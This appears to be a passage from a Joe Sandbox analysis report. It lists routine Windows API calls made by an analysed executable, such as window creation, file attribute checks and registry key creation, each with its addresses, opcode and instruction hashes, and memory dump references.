                                                                                                                                                                                                                                      • Opcode ID: d61e7892e696cd19dbec5936e1f60c0eb1c4f94c101f5f53d8ed807e2bb541d1
                                                                                                                                                                                                                                      • Instruction ID: 51b66c86ab1fb2ed9abdb0db83839a26410808368eb32e0cb4295e2ee82716ff
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d61e7892e696cd19dbec5936e1f60c0eb1c4f94c101f5f53d8ed807e2bb541d1
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 09F04970608109EBBB1CCF58D0618AF7BA0EB48300F2080AFE907C7BA0D634AA80D658
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • CreateWindowExA.USER32(?,?,?,?,?,?,?,?,?,00000000,00400000,?), ref: 00416585
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CreateWindow
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 716092398-0
                                                                                                                                                                                                                                      • Opcode ID: b152e844846ae8a52721441d180559fdf16f7956a15d86c9ff4cf0dcda8b9698
                                                                                                                                                                                                                                      • Instruction ID: 158b8484bb218b41c698b3aa21f26e2dd86497bc01e640ef524e7c8f4c0ee3c6
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b152e844846ae8a52721441d180559fdf16f7956a15d86c9ff4cf0dcda8b9698
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 4BF019B2200510AFDB84DE9CD9C0F9773ECEB0C210B0481A6FA08CB21AD220EC108BB0
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • KiUserCallbackDispatcher.NTDLL(?,?), ref: 004149EF
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CallbackDispatcherUser
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2492992576-0
                                                                                                                                                                                                                                      • Opcode ID: 9e73aedc2ede48524128b4fba7c94cddd86b5e43f4b9cee2e76a3e9f018a4363
                                                                                                                                                                                                                                      • Instruction ID: 59ac3629b8f45f7a6bca1b57e2bf54285868c68ba6336e642f1ef9b7bb8d2b05
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 9e73aedc2ede48524128b4fba7c94cddd86b5e43f4b9cee2e76a3e9f018a4363
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B2F0DA762042019FC740DF6CC8C488A77E5FF89255B5546A9F989CB356C731EC54CB91
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • CreateFileA.KERNEL32(00000000,?,?,00000000,?,00000080,00000000), ref: 00450804
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CreateFile
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 823142352-0
                                                                                                                                                                                                                                      • Opcode ID: ce99838f7be0491c6923214398908b2fd93372403a84c7b432a549debe4dc153
                                                                                                                                                                                                                                      • Instruction ID: 52eb814c7c241dc182afdc6c3e242d4e4c9a4e6d94000e289351c80ae23ff87c
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ce99838f7be0491c6923214398908b2fd93372403a84c7b432a549debe4dc153
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 53E012B53541483EE780EEAD6C42F9777DC971A714F008037B998D7341D461DD158BA8
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetFileAttributesA.KERNEL32(00000000,00000000,0042CD14,?,00000001,?,?,00000000,?,0042CD66,00000000,00452A25,00000000,00452A46,?,00000000), ref: 0042CCF7
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AttributesFile
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3188754299-0
                                                                                                                                                                                                                                      • Opcode ID: 2e3447488e8940f063bbcfc4a9008e9bc81ad59ac090e4e62a8f5aa92ecca264
                                                                                                                                                                                                                                      • Instruction ID: d3c11148bbbe1678040d416a6bc301cfea82702c80b798926358c5e84281cc0e
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 2e3447488e8940f063bbcfc4a9008e9bc81ad59ac090e4e62a8f5aa92ecca264
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 80E065B1304304BFD701EB66EC92A5EBAACDB49754BA14876B50097592D5B86E008468
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • FormatMessageA.KERNEL32(00003200,00000000,4C783AFB,00000000,?,00000400,00000000,?,00453273,00000000,kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000), ref: 0042E8E7
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: FormatMessage
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1306739567-0
                                                                                                                                                                                                                                      • Opcode ID: 07eb917982e44065cc90d67cadef310e262c4caec6bcfbb1197f6d5f5d2cfc19
                                                                                                                                                                                                                                      • Instruction ID: fbc307da5c1359fbfbc351051067b699ae1438aedf6613c80dda169529e76e7e
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 07eb917982e44065cc90d67cadef310e262c4caec6bcfbb1197f6d5f5d2cfc19
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: BCE0206278431116F2353416AC47B77150E43C0708F944027BB90DF3D3D6AF9945D25E
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetTextExtentPointA.GDI32(?,00000000,00000000), ref: 0041AF9B
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ExtentPointText
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 566491939-0
                                                                                                                                                                                                                                      • Opcode ID: fe3873e992a20e622ffaf78f93863b288a9be0a8311253c2d6346deae250c6a6
                                                                                                                                                                                                                                      • Instruction ID: 6b43be1268843882f9474f888990ee0a0f71ddbfb678ee1088bae751a0726d8f
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: fe3873e992a20e622ffaf78f93863b288a9be0a8311253c2d6346deae250c6a6
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E3E086F13097102BD600E67E1DC19DB77DC8A483697148177F458E7392D62DDE1A43AE
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • CreateWindowExA.USER32(00000000,0042367C,00000000,94CA0000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423C0C), ref: 00406311
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CreateWindow
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 716092398-0
                                                                                                                                                                                                                                      • Opcode ID: ff94722aa4050723ad3f6c96c0112c9f8192a5aa4540eb1f1ae13447e7542d04
                                                                                                                                                                                                                                      • Instruction ID: 53e57476791a39574122dfc8a3f58f2f78c4a621b5a82e38d1c80b15216a1e52
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ff94722aa4050723ad3f6c96c0112c9f8192a5aa4540eb1f1ae13447e7542d04
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: EEE0FEB2214209BBDB00DE8ADCC1DABB7ACFB4C654F808105BB1C972428275AC608B71
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • RegCreateKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?), ref: 0042DE10
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Create
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2289755597-0
                                                                                                                                                                                                                                      • Opcode ID: 296f4a6b1841180fcb6525c1425398a2afe0618770c3240f8adf4a5c8222c494
                                                                                                                                                                                                                                      • Instruction ID: 68673b5cf84413dff1d7ecec16939cb2303f89f305828e6cd22260af4b89741b
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 296f4a6b1841180fcb6525c1425398a2afe0618770c3240f8adf4a5c8222c494
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: EDE07EB2610119AF9B40DE8CDC81EEB37ADAB1D350F404016FA08E7200C2B4EC519BB4
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • FindClose.KERNEL32(00000000,000000FF,004707E0,00000000,004715F6,?,00000000,0047163F,?,00000000,00471778,?,00000000,?,00000000), ref: 00454C0E
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CloseFind
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1863332320-0
                                                                                                                                                                                                                                      • Opcode ID: 7c8f6db93596433e8c6540ce52a48f0da3b0448ecaf471e45e9c42032ee7c2dc
                                                                                                                                                                                                                                      • Instruction ID: 5c2dbd3a099336849a47a332199978da45cb785deb8a29a76394180ab3bc5383
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7c8f6db93596433e8c6540ce52a48f0da3b0448ecaf471e45e9c42032ee7c2dc
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A1E09BB09097004BC715DF39858031A76D19FC9325F05C96AEC99CF3D7E77D84454617
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • KiUserCallbackDispatcher.NTDLL(00495556,?,00495578,?,?,00000000,00495556,?,?), ref: 0041469B
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CallbackDispatcherUser
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2492992576-0
                                                                                                                                                                                                                                      • Opcode ID: 6e76042b9040d81ea616cca6ecacd77bc76811df147480a1eef497ac36b7c045
                                                                                                                                                                                                                                      • Instruction ID: 3a83c41fa5c3d176b15f2666d2672a78f9af76d4247255e2ff0bda4df6ea0631
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6e76042b9040d81ea616cca6ecacd77bc76811df147480a1eef497ac36b7c045
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 59E012723001199F8250CE5EDC88C57FBEDEBC966130983A6F508C7306DA31EC44C7A0
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00406F24
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: FileWrite
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3934441357-0
                                                                                                                                                                                                                                      • Opcode ID: 4c02731fe18b0a47ab7745946c5e8dd4c7dfafdb2aa22804bebcbb41d9412fbb
                                                                                                                                                                                                                                      • Instruction ID: adeaf4ebd0e6cd94d64be6b3cb299443ba394f13a0b1cd3d8337db6b6af80796
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 4c02731fe18b0a47ab7745946c5e8dd4c7dfafdb2aa22804bebcbb41d9412fbb
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 53D012722091506AD220965A6C44EAB6BDCCBC5770F11063AB558C2181D7209C01C675
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 004235F8: SystemParametersInfoA.USER32(00000048,00000000,00000000,00000000), ref: 0042360D
                                                                                                                                                                                                                                      • ShowWindow.USER32(00410460,00000009,?,00000000,0041EDA4,0042393A,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423C0C), ref: 00423667
                                                                                                                                                                                                                                        • Part of subcall function 00423628: SystemParametersInfoA.USER32(00000049,00000000,00000000,00000000), ref: 00423644
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: InfoParametersSystem$ShowWindow
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3202724764-0
                                                                                                                                                                                                                                      • Opcode ID: f1fbc87c7d3064a6cf4368d53b3e4c6ee974437194041f03c0195094467d5de5
                                                                                                                                                                                                                                      • Instruction ID: 3e39ddd90fb628193caaea160b6f4ed5bf244f394cc2da11a07db6b12dca8b82
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: f1fbc87c7d3064a6cf4368d53b3e4c6ee974437194041f03c0195094467d5de5
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 34D05E123821703142307ABB280699B46EC8D822EB389043BB5449B312ED5DCE01116C
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • SetWindowTextA.USER32(?,00000000), ref: 004242DC
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: TextWindow
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 530164218-0
                                                                                                                                                                                                                                      • Opcode ID: 968e2600307bd84f4d65718215a4df57ccfa9b7919b98356d7a542cd4e907fd2
                                                                                                                                                                                                                                      • Instruction ID: e359d8c046b4275bb87a72ac3440150ee0889cd0e7de0465f76ccf46c1161c2e
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 968e2600307bd84f4d65718215a4df57ccfa9b7919b98356d7a542cd4e907fd2
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 81D05EE27011602BCB01BAED54C4AC667CC9B8D25AB1840BBF904EF257D638CE40C398
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • KiUserCallbackDispatcher.NTDLL(?,?,00000000,?,0046769C,00000000,00000000,00000000,0000000C,00000000), ref: 004669CC
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CallbackDispatcherUser
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2492992576-0
                                                                                                                                                                                                                                      • Opcode ID: 1170af52fdfa1b22d402febd08e71c9ecbcd6356f79449625b478cc807a9fefe
                                                                                                                                                                                                                                      • Instruction ID: a3a9c25b9c80179eca176ae0059a0aa24e3542550d9dc9bac8dced773014ab2a
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 1170af52fdfa1b22d402febd08e71c9ecbcd6356f79449625b478cc807a9fefe
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 0ED09272210A109F8364CAADC9C4C97B3ECEF4C2213004659E54AC3B15D664FC018BA0
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetFileAttributesA.KERNEL32(00000000,00000000,004515CB,00000000), ref: 0042CD2F
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
